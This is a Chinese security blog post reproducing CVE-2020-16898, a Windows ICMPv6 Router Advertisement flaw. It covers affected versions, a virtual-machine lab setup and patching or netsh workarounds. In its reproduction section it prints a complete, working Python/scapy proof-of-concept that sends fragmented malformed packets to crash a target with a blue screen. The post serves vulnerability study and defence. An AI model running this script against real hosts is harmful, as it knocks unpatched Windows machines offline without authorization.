freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

CVE-2020-16898漏洞复现
恒梦安全 2023-08-17 13:22:39 199734

声明:请勿将文章内的相关技术用于非法目的,如有相关非法行为与文章作者和本团队无关。请遵守《中华人民共和国网络安全法》。

漏洞简介

CVE-2020-16898,又称“Bad Neighbor”,在Windows TCP/IP堆栈不正确地处理ICMPv6 Router Advertisement数据包时,存在一个远程执行代码漏洞。成功利用此漏洞的攻击者可以获得在目标服务器或客户端上执行代码的能力。要利用此漏洞,攻击者必须将经过特殊设计的ICMPv6 Router Advertisement数据包发送到远程Windows计算机上。

漏洞描述

远程攻击者通过构造特制的ICMPv6 Router Advertisement(路由通告)数据包,并将其发送到远程Windows主机上,即可在目标主机上执行任意代码。 攻击者可以利用该漏洞发送恶意制作的数据包,从而有可能在远程系统上执行任意代码。与MAPP(Microsoft Active Protection计划)成员共享的概念证明既非常简单又非常可靠。它会导致立即出现BSOD(蓝屏死机),但更严重的是,对于那些能够绕过Windows 10和Windows Server 2019缓解措施的人来说,存在被利用的可能性。可以使远程代码执行的漏洞利用的影响将是广泛的,并且影响很大,因为这种类型的错误可能会变成可感染的。

受影响版本

Windows 10 Version 1709 for 32-bit Systems

Windows 10 Version 1709 for ARM64-based Systems

Windows 10 Version 1709 for x64-based Systems

Windows 10 Version 1803 for 32-bit Systems

Windows 10 Version 1803 for ARM64-based Systems

Windows 10 Version 1803 for x64-based Systems

Windows 10 Version 1809 for 32-bit Systems

Windows 10 Version 1809 for ARM64-based Systems

Windows 10 Version 1809 for x64-based Systems

Windows 10 Version 1903 for 32-bit Systems

Windows 10 Version 1903 for ARM64-based Systems

Windows 10 Version 1903 for x64-based Systems

Windows 10 Version 1909 for 32-bit Systems

Windows 10 Version 1909 for ARM64-based Systems

Windows 10 Version 1909 for x64-based Systems

Windows 10 Version 2004 for 32-bit Systems

Windows 10 Version 2004 for ARM64-based Systems

Windows 10 Version 2004 for x64-based Systems

Windows Server 2019

Windows Server 2019 (Server Core installation)

Windows Server, version 1903 (Server Core installation)

Windows Server, version 1909 (Server Core installation)

Windows Server, version 2004 (Server Core installation)

环境搭建

这里使用vmware,NAT出一个子网,并开启ipv6支持。点击VM的编辑—>虚拟网络编辑器,选择NAT模式,开启ipv6支持,点击确定,如下图。

选取一个受影响版本的windows10镜像,安装在虚拟机里。 这里我使用的是1903版本。

打开win10的控制面板–>选择网络和共享中心,右键打开Ethernet0。

打开ipv6版本: 恒梦安全

漏洞复现

1.执行ipconfig,查看虚拟机IPv6地址

2.注意:受害机器的 IPv6地址选取“ipv6地址”或者“临时ipv6地址”

3.攻击者和目标主机通信(这里把自己的物理机作为攻击机者) 执行ipconfig查看攻击机的ipv6地址,选择“本地链接的ipv6地址”。

4.攻击机中python为3.10 ,并且安装了scapy。 :在安装好的python后,打开cmd,输入python,没有报错,说明成功:

然后安装scapy:直接使用pip安装:pip install scapy ,scapy启动界面如下图:

5.这段payload作用是构造特定ipv6数据包,发送给受害者机器,让受害机器蓝屏。

源代码:

#!/usr/bin/env python3
#
# Proof-of-Concept / BSOD exploit for CVE-2020-16898 - Windows TCP/IP Remote Code Execution Vulnerability
#
# Author: Adam 'pi3' Zabrocki
# http://pi3.com.pl
 
 
from scapy.all import *
from scapy.layers.inet6 import ICMPv6NDOptEFA, ICMPv6NDOptRDNSS, ICMPv6ND_RA, IPv6, IPv6ExtHdrFragment, fragment6
 
v6_dst = "xxxx:xxxx:xxxx:xxxx"   #目标靶机IPv6 地址
v6_src = "xxxx:xxxx:xxxx:xxxx"              #攻击机本地链接 IPv6 地址
 
p_test_half = 'A'.encode()*8 + b"\x18\x30" + b"\xFF\x18"
p_test = p_test_half + 'A'.encode()*4
 
c = ICMPv6NDOptEFA()
 
e = ICMPv6NDOptRDNSS()
e.len = 21
e.dns = [
"AAAA:AAAA:AAAA:AAAA:FFFF:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA" ]
aaa = ICMPv6NDOptRDNSS()
aaa.len = 8
pkt = ICMPv6ND_RA() / aaa / \
      Raw(load='A'.encode()*16*2 + p_test_half + b"\x18\xa0"*6) / c / e / c / e / c / e / c / e / c / e / e / e / e / e / e / e
 
p_test_frag = IPv6(dst=v6_dst, src=v6_src, hlim=255)/ \
              IPv6ExtHdrFragment()/pkt
 
l=fragment6(p_test_frag, 200)
 
for p in l:
    send(p)

6.在攻击者上执行:cve 2020-16898-exp1.py

7.虚拟机被打蓝屏,如下:

8.使用wirkshark选择对应的虚拟网卡进行抓包查看 如下图所示:

9.查看数据包可以看到里面有发送的payload。 

修复建议

1.升级更新。立即安装针对此漏洞的更新,下载最新的补丁包进行更新修复,如下链接。

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16898

2.不能升级的话,禁用 ICMPv6 RDNSS:

以管理员身份打开PowerShell,输入以下命令,即可"显示接口参数"

netsh int ipv6 show interface

可以根据此列表,查询到需要禁用的接口,执行禁用命令如下:

netsh int ipv6 set int 11 rabaseddnsconfig=disable

返回“确定”后禁用成功。

咱们小屋,喜欢您来:D


# 漏洞 # 渗透测试 # web安全 # 漏洞分析 # 网络安全技术
本文为 恒梦安全 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
恒梦安全 LV.4
解锁数字世界的安全密码!专注网络安全服务,为您提供Web、小程序、APP测试,逆向分析、取证、渗透测试等服务。精彩文章,掌握最新威胁和防护策略。共同守护您的数字安全!
  • 10 文章数
  • 5 关注者
一加7pro制作kalinethunter
2023-12-10
溯源手册
2023-09-24
Oneplus3T(A3010)制作kalinethunter教程
2023-09-07
文章目录